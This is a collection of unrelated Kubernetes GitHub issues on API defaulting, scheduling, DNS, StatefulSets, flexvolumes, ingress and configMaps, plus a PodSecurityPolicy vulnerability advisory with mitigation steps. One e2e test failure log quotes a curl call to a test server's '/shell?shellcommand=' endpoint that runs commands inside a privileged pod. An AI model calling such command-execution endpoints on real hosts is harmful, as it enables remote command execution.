when handling put request, if the uid field is empty in the new object, api server defaults the uid of the new object to that of the existing object: https://github.com/kubernetes/kubernetes/blob/master/pkg/api/validation/validation.go l344-l346  this was introduced to fix  14126 from the server side. a client-side fix is introduced in https://github.com/kubernetes/kubernetes/pull/15268.  i think users should always supply the uid, because otherwise the update might end up being applied on a different object that bears the same name, which could happen if an object is deleted and then recreated.  i think we should stop performing the defaulting in head, and inform the users to turning it on if they are using a pre-1.1 client.  @lavalamp @bgrant0607 @liggitt do you have concerns?

filing this for future work.  pkg/volume/plugins.go defines a set of   volumeplugin  types that all implement small interfaces like  newdeleter   .  this started with  newmounter    and  newunmounter    which plugins implement with different structs and are passed around.  it got cargo-culted into a half dozen other such interfaces that do not have the same restrictions, and generally are called like:      r := plugin.newrecycler name, spec  r.recycle        most of these interfaces could be reduced to:      plugin.recycle name, spec       relatively easy one for someone to jump on, but not going into the 1.3 milestone.  additionally,  newmounter    and  newunmounter    could be extracted to a  mountablevolumeplugin  type and  volumehost  could go through a similar fragmenting.  @jingxu97

in 1.3 we took most of the fat out of the internal apiserver and client machinery.  however, we have fairly complex internal flows for controllers, caches, the watches, and other distribution mechanisms that are more difficult to trace / profile.  in addition, we are adding larger numbers of control loops and feedback mechanisms into the state of the system - we are seeing more inconsistent outcomes that are hard to reason about.  for 1.4, i think it would be valuable to broaden the traces started in  8806, possibly by adding opentracing support.  it would also give us a bit more contextual information in failures.  we would also need to consider how traces could propagate across control loops, such as whether we do level driven traces from the kubelet or elsewhere.

from https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/30739/node-pull-build-e2e-test/22156:      summarizing 1 failure:   fail   k8s.io  pods  it  should contain environment variables for services  conformance   /var/lib/jenkins/workspace/node-pull-build-e2e-test/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2125  ran 97 of 129 specs in 562.705 seconds success! -- 97 passed | 0 failed | 0 pending | 32 skipped   ginkgo ran 1 suite in 9m25.151025459s test suite passed  success finished test suite on host tmp-node-e2e-4e4fc36a-e2e-node-containervm-v20160321-image      the cause is the  --flakeattempts=2  flag, as identified in https://github.com/kubernetes/kubernetes/issues/31538 issuecomment-242844342. this is a confusing result message though, and we should show something less confusing. e.g.      summarizing 1 flake:   fail   k8s.io  pods  it  should contain environment variables for services  conformance   /var/lib/jenkins/workspace/node-pull-build-e2e-test/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2125  ran 97 of 129 specs in 562.705 seconds success! -- 96 passed | 1 flake | 0 failed | 0 pending | 32 skipped   ginkgo ran 1 suite in 9m25.151025459s test suite passed  success finished test suite on host tmp-node-e2e-4e4fc36a-e2e-node-containervm-v20160321-image      this might require a ginkgo change.  /cc @ixdy @random-liu @kubernetes/sig-node @kubernetes/sig-testing

hi,\r i've updated our test instance of kubelet/kubectl and hyperkube apiserver+scheduler+controller from 1.5.2 to 1.6.0 on one of three ha nodes and none of the pods on the host node came up because of  kubelet log, same in the kubectl events/describe pod :\r w0403 09:33:16.378869  113540 config.go:361  pod 5   dashboard-cvd3m_kube-system 63446b97-0e11-11e7-a2de-842b2bfe82f1   from api failed validation, ignoring:  spec.containers 0 .terminationmessagepolicy: required value: must be 'file' or 'fallbacktologsonerror', spec.containers 1 .terminationmessagepolicy: required value: must be 'file' or 'fallbacktologsonerror' \r \r kubectl get pod dashboard-... -o yaml however shows:\r conditions:\r   type        status\r   initialized     true\r   ready     true\r   podscheduled     true\r which makes it look like it is running  while it is not .\r \r tried deleting this pod so that rc picks it up again, but now it is stuck in terminating stage and won't move  no further logs in kubelet/events .\r \r looking at the kubectl get pods dashboard-... -o yaml i can clearly see:\r     terminationmessagepath: /dev/termination-log\r     terminationmessagepolicy: file\r in all the containers of that pod on   this   apiserver node.\r \r then i re-tried to kubectl delete pod dashboard-... --force with no luck so i added --grace-period=0 which finally got rid of it.\r \r the solution was to update all three apiserver nodes to 1.6.0  the local balancer always picks a random one to connect to  before anything would come up. \r \r   it seems that new 1.6.0 kubelet cannot create pods with older 1.5.2/1.5.4  and possibly other 1.5.x and older as well - did not try all of them  apiservers running as it expects an unknown value.  \r \r   updating apiservers first and then kubelets seems to work fine.  \r \r   kubernetes version  \r > client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.0\ , gitcommit:\ fff5156092b56e6bd60fff75aad4dc9de6b6ef37\ , gittreestate:\ clean\ , builddate:\ 2017-03-29t09:26:59z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r > server version: version.info{major:\ 1\ , minor:\ 5+\ , gitversion:\ v1.5.2-dirty\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ dirty\ , builddate:\ 2017-01-13t13:03:39z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r  the -dirty is because i had locally applied patch that i sent and got pulled into 1.6 \r \r \r i did not manage to find a note about this on release notes page : \r \r    proposed solution   \r either make it backwards compatible  use default value for older kubelets  or notify admins on release page.\r \r ashley

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?  :\r no\r \r   what keywords did you search in kubernetes issues before filing this one?  \r kube-dns local\r kube-dns each\r kube-dns node\r \r \r   is this a bug report or feature request?    choose one :\r feature request\r \r   kubernetes version    use  kubectl version  :\r 1.6.2\r \r containers' resolv.conf contain the kube-dns service clusterip as the one and only nameserver. given that services distribute traffic among backing pods randomly, even when there are multiple kube-dns pods in the cluster, it is likely that every dns query ends up going to another node, adding latency. the kube-dns pod is also the nearest cache.\r \r and since the kube-dns-autoscaler only scales based on number of cores/nodes, not actual load, this critical service is susceptible to becoming overloaded -- especially with the defaults of  coresperreplica\ :256,\ nodesperreplica\ :16 \r \r this performance and reliability could be easily improved by either:\r \r 1. running an additional dns cache on each node:\r    - caching and forwarding to the kube-dns clusterip\r    - putting that as the first nameserver in resolv.conf, leaving kube-dns second\r \r or\r \r 2. run one kube-dns pod per node, using that as the one and only nameserver in resolv.conf\r \r

from https://github.com/kubernetes/kubernetes/pull/55712 issuecomment-344421233:\r >we should add a verify check that build tags are only used in appropriately suffixed files.\r >\r > // +build linux shouldn't occur in a file that isn't marked as os-specific. \r \r based on  this  https://dave.cheney.net/2013/10/12/how-to-use-conditional-compilation-with-the-go-build-tool , this isn't really a golang enforced thing, but we use it to trigger the cross compile in ci.\r \r ---\r /area build-release\r 

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r statefulsets are sometimes continually rolling pods and i don't know why\r statefulset created: \r statefulset.yml:\r https://gist.github.com/ryanmcnamara/9e81c2bd2c6ac22fe8c12bc2a68a8aad\r storageclass referenced:\r https://gist.github.com/ryanmcnamara/cdf8ade20d3a853d5ed2d80b60ead79f\r kubectl describe statefulset statefulset-test: \r https://gist.github.com/ryanmcnamara/e2bf74a8d7a4f0cbaa19f98ca57b4348\r \r as you can see from the above describe, the pod in the statefulset has been restarted a lot of times. observing the created pod, \r 1  the pod comes up ready \r 2  immediately transitions to terminating \r 3  is terminated\r 4  a new pod is created\r 5  go back to  1   repeats forever \r \r despite no updates to the statefulset spec ocurring.\r \r making a change to the statefulset template  for example a trivial change adding a nonsense annotation  stops the rolling and fixes the issue\r \r when this statefulset was created, there was a mutating webhook enabled. after the observed pod rolling. i disabled this by making its configuration invalid and making it non required, and the rolling persisted.\r \r the status of the statefulset:  kubectl get statefulset statefulset-test -o yaml :\r https://gist.github.com/ryanmcnamara/1cbd58c4e9b7843f9443ee4010d41ffb\r \r you can see that there is a discrepency between currentrevision and updaterevision.\r   currentrevision: statefulset-test-8696d5779b\r   updaterevision: statefulset-test-8696d5778f\r a short while later the status is changed to contain\r   currentrevision: statefulset-test-d8b584c9f\r   updaterevision: statefulset-test-d8b584c9b\r this change happened at sun apr  1 19:48:48 2018\r presumably after the rollout of statefulset-test-8696d5778f is complete.\r \r here are all the controllerrevisions from above:\r kubectl get controllerrevision statefulset-test-8696d5779b -o yaml\r https://gist.github.com/ryanmcnamara/ee54d1d5941cfde857a5589a8347c9a5\r kubectl get controllerrevision statefulset-test-8696d5778f -o yaml:\r https://gist.github.com/ryanmcnamara/4bf24bafa00c8e2434ae5d4287ed728a\r kubectl get controllerrevision statefulset-test-d8b584c9b -o yaml:\r https://gist.github.com/ryanmcnamara/4b49a0504653ba2d92585fb4015897c2\r \r the differences between the above controllerrevisions are insignificant  the hash, the creation timestamp, the name, the resource version, the uid, the self link \r \r interestingly all these controllerrevisions were created very close together in time shortly after i created the statefulset\r the current controllerrevisions are\r    \r  rmcnamara@ip-10-0-112-31 ~ $ kubectl get controllerrevisions\r name                          controller                     revision   age\r statefulset-test-8696d57789   statefulset/statefulset-test   1          13h\r statefulset-test-8696d5778b   statefulset/statefulset-test   1          13h\r statefulset-test-8696d5778f   statefulset/statefulset-test   1          13h\r statefulset-test-8696d5779b   statefulset/statefulset-test   1          13h\r statefulset-test-cf9d4cdf6    statefulset/statefulset-test   1          13h\r statefulset-test-cf9d4cdfc    statefulset/statefulset-test   1          13h\r statefulset-test-cf9d4cdfd    statefulset/statefulset-test   1          13h\r statefulset-test-cf9d4cf44    statefulset/statefulset-test   1          13h\r statefulset-test-cf9d4cf45    statefulset/statefulset-test   1          13h\r statefulset-test-d8b584c9b    statefulset/statefulset-test   1          13h\r statefulset-test-d8b584c9f    statefulset/statefulset-test   1          13h\r    \r after watching the state change for a while, it actually seems like the statefulset is just cycling through the updaterevision being one of the above 10 controllerrevisions\r \r leaders during this time\r    \r  rmcnamara@ip-10-0-112-31 ~ $ kubectl get endpoints kube-controller-manager -n kube-system -o yaml | grep alpha\r     control-plane.alpha.kubernetes.io/leader: '{\ holderidentity\ :\ ip-10-0-100-151\ ,\ leasedurationseconds\ :15,\ acquiretime\ :\ 2018-04-01t05:50:03z\ ,\ renewtime\ :\ 2018-04-01t20:13:58z\ ,\ leadertransitions\ :7}'\r  rmcnamara@ip-10-0-112-31 ~ $ kubectl get endpoints kube-scheduler -n kube-system -o yaml | grep alpha\r     control-plane.alpha.kubernetes.io/leader: '{\ holderidentity\ :\ ip-10-0-100-151\ ,\ leasedurationseconds\ :15,\ acquiretime\ :\ 2018-04-01t05:50:01z\ ,\ renewtime\ :\ 2018-04-01t20:14:06z\ ,\ leadertransitions\ :8}'\r    \r \r from kube-controller-manager logs during this time, here is one excerpt:\r    \r apr 01 19:48:46 ip-10-0-100-151 kube-controller-manager 1565 : i0401 19:48:46.344768    1565 stateful_set.go:455  syncing statefulset default/statefulset-test with 1 pods\r apr 01 19:48:46 ip-10-0-100-151 kube-controller-manager 1565 : i0401 19:48:46.344653    1565 disruption.go:403  no poddisruptionbudgets found for pod statefulset-test-0, poddisruptionbudget controller will avoid syncing.\r apr 01 19:48:46 ip-10-0-100-151 kube-controller-manager 1565 : i0401 19:48:46.344861    1565 disruption.go:343  no matching pdb for pod \ statefulset-test-0\ \r apr 01 19:48:46 ip-10-0-100-151 kube-controller-manager 1565 : i0401 19:48:46.346127    1565 stateful_set_control.go:502  statefulset default/statefulset-test terminating pod statefulset-test-0 for update\r apr 01 19:48:46 ip-10-0-100-151 kube-controller-manager 1565 : i0401 19:48:46.353804    1565 disruption.go:340  updatepod called on pod \ statefulset-test-0\ \r apr 01 19:48:46 ip-10-0-100-151 kube-controller-manager 1565 : i0401 19:48:46.353766    1565 stateful_set.go:226  pod statefulset-test-0 updated, objectmeta {name:statefulset-test-0 generatename:statefulset-test- namespace:default selflink:/api/v1/namespaces/default/pods/statefulset-test-0 uid:aa09a5de-35e5-11e8-93f3-0e0de0418f44 resourceversion:957880 generation:0 creationtimestamp:2018-04-01 19:48:35 +0000 utc deletiontimestamp:<nil> deletiongraceperiodseconds:<nil> labels:map controller-revision-hash:statefulset-test-cf9d4cdfd deployment-test: statefulset.kubernetes.io/pod-name:statefulset-test-0  annotations:map   ownerreferences: {apiversion:apps/v1beta1 kind:statefulset name:statefulset-test uid:fc4a62e6-3579-11e8-93f3-0e0de0418f44 controller:0xc423c291f6 blockownerdeletion:0xc423c291f7}  initializers:nil finalizers:   clustername:} -> {name:statefulset-test-0 generatename:statefulset-test- namespace:default selflink:/api/v1/namespaces/default/pods/statefulset-test-0 uid:aa09a5de-35e5-11e8-93f3-0e0de0418f44 resourceversion:957882 generation:0 creationtimestamp:2018-04-01 19:48:35 +0000 utc deletiontimestamp:2018-04-01 19:49:16 +0000 utc deletiongraceperiodseconds:0xc42233dde0 labels:map controller-revision-hash:statefulset-test-cf9d4cdfd deployment-test: statefulset.kubernetes.io/pod-name:statefulset-test-0  annotations:map   ownerreferences: {apiversion:apps/v1beta1 kind:statefulset name:statefulset-test uid:fc4a62e6-3579-11e8-93f3-0e0de0418f44 controller:0xc42233dde8 blockownerdeletion:0xc42233dde9}  initializers:nil finalizers:   clustername:}.\r apr 01 19:48:46 ip-10-0-100-151 kube-controller-manager 1565 : i0401 19:48:46.353829    1565 disruption.go:403  no poddisruptionbudgets found for pod statefulset-test-0, poddisruptionbudget controller will avoid syncing.\r apr 01 19:48:46 ip-10-0-100-151 kube-controller-manager 1565 : i0401 19:48:46.353854    1565 disruption.go:343  no matching pdb for pod \ statefulset-test-0\ \r apr 01 19:48:46 ip-10-0-100-151 kube-controller-manager 1565 : i0401 19:48:46.354030    1565 event.go:218  event v1.objectreference{kind:\ statefulset\ , namespace:\ default\ , name:\ statefulset-test\ , uid:\ fc4a62e6-3579-11e8-93f3-0e0de0418f44\ , apiversion:\ apps\ , resourceversion:\ 957843\ , fieldpath:\ \ } : type: 'normal' reason: 'successfuldelete' delete pod statefulset-test-0 in statefulset statefulset-test successful\r apr 01 19:48:46 ip-10-0-100-151 kube-controller-manager 1565 : i0401 19:48:46.354836    1565 attach_detach_controller.go:493  processvolumesinuse for node \ ip-10-0-107-133.ec2.internal\ \r apr 01 19:48:46 ip-10-0-100-151 kube-controller-manager 1565 : i0401 19:48:46.354883    1565 actual_state_of_world.go:350  setvolumemountedbynode volume kubernetes.io/aws-ebs/aws://us-east-1a/vol-0d5396c605c0a817f to the node \ ip-10-0-107-133.ec2.internal\  mounted true\r apr 01 19:48:46 ip-10-0-100-151 kube-controller-manager 1565 : i0401 19:48:46.354900    1565 actual_state_of_world.go:350  setvolumemountedbynode volume kubernetes.io/aws-ebs/aws://us-east-1a/vol-079810a7d16ba3e53 to the node \ ip-10-0-107-133.ec2.internal\  mounted true\r apr 01 19:48:46 ip-10-0-100-151 kube-controller-manager 1565 : i0401 19:48:46.355413    1565 stateful_set.go:417  finished syncing statefulset \ default/statefulset-test\   10.728123ms \r apr 01 19:48:46 ip-10-0-100-151 kube-controller-manager 1565 : e0401 19:48:46.355436    1565 stateful_set.go:399  error syncing statefulset default/statefulset-test, requeuing: statefulset.apps \ statefulset-test\  is invalid: status.currentreplicas: invalid value: -1: must be greater than or equal to 0\r apr 01 19:48:46 ip-10-0-100-151 kube-controller-manager 1565 : i0401 19:48:46.355514    1565 stateful_set.go:455  syncing statefulset default/statefulset-test with 1 pods\r apr 01 19:48:46 ip-10-0-100-151 kube-controller-manager 1565 : i0401 19:48:46.356747    1565 stateful_set_control.go:351  statefulset default/statefulset-test has 1 unhealthy pods starting with statefulset-test-0\r apr 01 19:48:46 ip-10-0-100-151 kube-controller-manager 1565 : i0401 19:48:46.356765    1565 stateful_set_control.go:412  statefulset default/statefulset-test is waiting for pod statefulset-test-0 to terminate\r apr 01 19:48:46 ip-10-0-100-151 kube-controller-manager 1565 : i0401 19:48:46.362906    1565 stateful_set_control.go:99  statefulset default/statefulset-test pod status replicas=1 ready=1 current=0 updated=0\r apr 01 19:48:46 ip-10-0-100-151 kube-controller-manager 1565 : i0401 19:48:46.362917    1565 stateful_set_control.go:107  statefulset default/statefulset-test revisions current=statefulset-test-d8b584c9f update=statefulset-test-8696d5778b\r apr 01 19:48:46 ip-10-0-100-151 kube-controller-manager 1565 : i0401 19:48:46.362925    1565 stateful_set.go:460  successfully synced statefulset default/statefulset-test successful\r apr 01 19:48:46 ip-10-0-100-151 kube-controller-manager 1565 : i0401 19:48:46.362930    1565 stateful_set.go:417  finished syncing statefulset \ default/statefulset-test\   7.47279ms \r    \r \r the error sync in there is suspicous, and as you can see the controllerrevisions are changing in the logs\r \r i have the full logs from a 5 minute window on either side of the above if necessary.\r \r the reason i'm inclined to think this is a kubernetes bug is that any update to the statefulset template fixes the problem.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r not really sure. worth just trying to create the above statefulset  requires creating the \r i tried deleting and recreating the above statefulset and it didn't happen, so something flaky is going on\r \r   anything else we need to know?  :\r kubernetes 1.9.3  client and server \r cloud provider: aws

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r these test cases are very hard to follow because they keep toggling the feature gates on and off, and subsequent test cases depend on the behavior of the previous.\r \r @kubernetes/sig-storage-bugs \r \r <!-- do not edit below this line -->\r 

please coordinate with sig-scheduling before working on this issue.   we want to avoid the situation where two people accidentally start work on the same fix.\r \r main tracking issue: https://github.com/kubernetes/kubernetes/issues/68951\r \r \r the  makedefaulterrorfunc  method of  configfactory  contains a lot of error handling logic, but that logic does not belong in the  configfactory  type. it should be converted into a regular func that takes all the args it needs instead of  configfactory .\r \r  code is in  pkg/scheduler/factory/factory.go  \r \r \r \r  \r  \r /help

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gke-staging-parallel/8434/  failed:  k8s.io  privilegedpod should test privileged pod {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/privileged.go:67 expected error:     < errors.errorstring | 0xc820ac2160>: {         s: \ error running &{/workspace/kubernetes/platforms/linux/amd64/kubectl  kubectl --server=https://104.198.74.132 --kubeconfig=/workspace/.kube/config exec --namespace=e2e-tests-e2e-privilegedpod-f227w hostexec -- /bin/sh -c curl -q 'http://10.180.2.6:8080/shell?shellcommand=ip+link+add+dummy1+type+dummy'      <nil>    % total    % received % xferd  average speed   time    time     time  current\                                  dload  upload   total   spent    left  speed\ \\r  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0\\r  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0curl:  7  failed to connect to 10.180.2.6 port 8080: host is unreachable\ error: error executing remote command: error executing command in container: error executing in docker container: 7\     <nil> 0xc82087bfa0 exit status 1 <nil> true  0xc8200caed8 0xc8200caef8 0xc8200caf20   0xc8200caed8 0xc8200caef8 0xc8200caf20   0xc8200caef0 0xc8200caf10   0xa96940 0xa96940  0xc820b2d860}:\ command stdout:\ \ stderr:\   % total    % received % xferd  average speed   time    time     time  current\                                  dload  upload   total   spent    left  speed\ \\r  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0\\r  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0curl:  7  failed to connect to 10.180.2.6 port 8080: host is unreachable\ error: error executing remote command: error executing command in container: error executing in docker container: 7\ \ error:\ exit status 1\ \ ,     }     error running &{/workspace/kubernetes/platforms/linux/amd64/kubectl  kubectl --server=https://104.198.74.132 --kubeconfig=/workspace/.kube/config exec --namespace=e2e-tests-e2e-privilegedpod-f227w hostexec -- /bin/sh -c curl -q 'http://10.180.2.6:8080/shell?shellcommand=ip+link+add+dummy1+type+dummy'      <nil>    % total    % received % xferd  average speed   time    time     time  current                                      dload  upload   total   spent    left  speed    0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0   0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0curl:  7  failed to connect to 10.180.2.6 port 8080: host is unreachable     error: error executing remote command: error executing command in container: error executing in docker container: 7         <nil> 0xc82087bfa0 exit status 1 <nil> true  0xc8200caed8 0xc8200caef8 0xc8200caf20   0xc8200caed8 0xc8200caef8 0xc8200caf20   0xc8200caef0 0xc8200caf10   0xa96940 0xa96940  0xc820b2d860}:     command stdout:      stderr:       % total    % received % xferd  average speed   time    time     time  current                                      dload  upload   total   spent    left  speed    0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0   0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0curl:  7  failed to connect to 10.180.2.6 port 8080: host is unreachable     error: error executing remote command: error executing command in container: error executing in docker container: 7      error:     exit status 1  not to have occurred      previous issues for this test:  29519

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r yes - problems using the flexvolume \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : flexvolume unmount\r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : 1.4.6\r client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.6\ , gitcommit:\ e569a27d02001e343cb68086bc06d47804f62af6\ , gittreestate:\ clean\ , builddate:\ 2016-11-12t05:22:15z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ windows/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.6+coreos.0\ , gitcommit:\ ec2b52fabadf824a42b66b6729fe4cff2c62af8c\ , gittreestate:\ clean\ , builddate:\ 2016-11-14t19:42:00z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  : \r coreos\r \r -   cloud provider or hardware configuration  : \r local vagrant\r -   os    e.g. from /etc/os-release : \r name=coreos\r id=coreos\r version=1235.0.0\r version_id=1235.0.0\r build_id=2016-11-17-0416\r pretty_name=\ coreos 1235.0.0  moreos \ \r ansi_color=\ 1;32\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://github.com/coreos/bugs/issues\ \r \r -   kernel    e.g.  uname -a  : \r linux w1 4.8.6-coreos  1 smp thu nov 17 04:07:44 utc 2016 x86_64 intel r  core tm  i7-4510u cpu @ 2.00ghz genuineintel gnu/linux\r \r -   install tools  :\r https://github.com/coreos/coreos-kubernetes\r \r -   others  :\r \r   what happened  :\r i added a flexvolume driver having looked at the example here https://github.com/kubernetes/kubernetes/tree/master/examples/volumes/flexvolume\r after experiencing issues with my driver i reverted it to a skeletal test driver to simply print out calls inbound  please see attached 'skel' script \r  skel.txt  https://github.com/kubernetes/kubernetes/files/619184/skel.txt \r \r when i test my pod with my volume and the steps below it will init and mount ok but there seems to be no call made to unmount when i test deleting the pod.\r \r   what you expected to happen  :\r when starting a pod with a the flex volume we should see a log that the mount was called and when i delete the pod i should see a log file entry for the unmount showing that my drivers unmount function has been called.  \r \r $ cat /tmp/skel.log\r running init\r running mount on path /var/lib/kubelet/pods/c58d27e7-b62f-11e6-b279-080027126f56/volumes/zopa.com\\~splunk/test on {\ kubernetes.io/fstype\ :\ ext4\ ,\ kubernetes.io/readwrite\ :\ rw\ }\r running umount with path /var/lib/kubelet/pods/c58d27e7-b62f-11e6-b279-080027126f56/volumes/zopa.com\\~splunk/test\r \r   how to reproduce it    as minimally and precisely as possible :\r \r add the plugin to the kubelet $volume_plugin_dir/zopa.com~skel/skel then start the pod: -\r  skeltest.yaml.txt  https://github.com/kubernetes/kubernetes/files/619275/skeltest.yaml.txt \r \r   anything else do we need to know  :\r \r see here for filtered kubelet -v 5 logs from the creation of the test pod and it's deletion and the logs to /tmp/skel.log\r  skel_logs.txt  https://github.com/kubernetes/kubernetes/files/619269/skel_logs.txt \r \r

a podsecuritypolicy admission plugin vulnerability allows users to make use of any podsecuritypolicy object, even ones they are not authorized to use.\r \r cve: pending\r \r   fixed in  v1.5.5  https://github.com/kubernetes/kubernetes/releases/tag/v1.5.5  in https://github.com/kubernetes/kubernetes/commit/7fef0a4f6a44ea36f166c39fdade5324eff2dd5e\r   fixed in release-1.5 branch in https://github.com/kubernetes/kubernetes/pull/43491\r   fixed in master in https://github.com/kubernetes/kubernetes/pull/43489\r \r   who is affected?  \r only kubernetes 1.5.0-1.5.4 installations that do _all_ of the following:\r   enable the podsecuritypolicy api  which is not enabled by default :\r        --runtime-config=extensions/v1beta1/podsecuritypolicy=true \r   enable the podsecuritypolicy admission plugin  which is not enabled by default :\r        --admission-control=...,podsecuritypolicy,... \r   use authorization to limit users' ability to use specific podsecuritypolicy objects\r \r   what is the impact?  \r a user that is authorized to create pods can make use of any existing podsecuritypolicy, even ones they are not authorized to use.\r \r   how can i mitigate this prior to installing 1.5.5?  \r 1. export existing podsecuritypolicy objects:\r        kubectl get podsecuritypolicies -o yaml > psp.yaml \r \r 2. review and delete any podsecuritypolicy objects you do not want all pod-creating users to be able to use  note: privileged users that were making use of those policies will also lose access to those policies . for example:\r        kubectl delete podsecuritypolicies/my-privileged-policy \r \r 3. after upgrading to 1.5.5, re-create the exported podsecuritypolicy objects:\r        kubectl create -f psp.yaml

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?  : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?   :  is:issue is:open gke  \r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : \r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t20:33:11z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t20:22:08z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r \r   environment  :\r -   cloud provider or hardware configuration  : gke\r \r   what happened  : hitting the static ip assigned to my  ingress  results in an  http 502 \r \r \r   what you expected to happen  :  200 ok \r \r \r   how to reproduce it    as minimally and precisely as possible :\r i followed steps adapted from  here  https://github.com/kelseyhightower/ingress-with-static-ip .\r \r i have a service that looks like this:\r    \r kind: service\r apiversion: v1\r metadata:\r   name: myapp-service\r spec:\r   ports:\r       accept traffic sent to port 80\r     - name: http\r       port: 80\r       targetport: 5000\r   selector:\r       loadbalance traffic across pods matching\r       this label selector\r     app: myapp-web\r   type: nodeport\r    \r \r and an ingres that looks like this:\r    \r apiversion: extensions/v1beta1\r kind: ingress\r metadata:\r   name: myapp-ingress\r   annotations:\r     kubernetes.io/ingress.global-static-ip-name: \ myapp-qa-staticip\ \r spec:\r   backend:\r     servicename: myapp-service\r     serviceport: 80\r    \r \r the static ip is a global static ip assigned via gcp networking.\r \r when i create the  service  and the  ingress , i keep getting a  502  despite giving gcp upto an hour to provision whatever it needs to provision.\r   anything else we need to know  :\r if i change service type from  nodeport  to  loadbalancer  and use the ephemeral static ip, my app comes up beautifully. \r

@kubernetes/sig-<configmap>-misc\r /sig  <configmap-api>\r \r hi，\r     i  have a question in using configmap.   \r  \r        \r        containers:                                                                                                                                                 \r         - name:  mysql\r           image:  10.21.1.151/quicksilver/opsfisher_mysql:latest          ports:\r             - containerport: 3306        - name:  supervisor\r           image: 10.21.1.151/quicksilver/opsfisher_supervisor:1.1          volumemounts:\r             - name: config-volume1              mountpath:  /tmp/\r             - name: config-volume2\r               mountpath:  /etc/supervisord.d/\r \r           ports:            - containerport: 80\r               hostport: 28888        - name:  grafana\r           image: 10.21.1.151/quicksilver/grafana-quicksilver:v1.0          ports:\r             - containerport: 3000              hostport: 28889\r       volumes:\r         - name: config-volume1          configmap:\r             name: opsfisher-conf            items:\r                 - key: nginx.conf                  path: nginx.conf\r         - name: config-volume2          configmap:\r             name: opsfisher-conf            items:\r                 - key: nginx.ini                  path: nginx.ini\r \r        \r \r    the above is my rc  configuration file .  then  i create rc  kubectl  create -f   test.yaml , run success.then i enter docker   docker exec -it   c61789df3020 , result:\r \r       \r   ls   /etc/supervisord.d/\r   nginx.ini\r       \r \r my other file lose!!!

the current implementation of the openapi listener takes a different path for gzip entries. let's read the  accept-encoding: gzip  http header from the client to decide if we need to gzip or not.

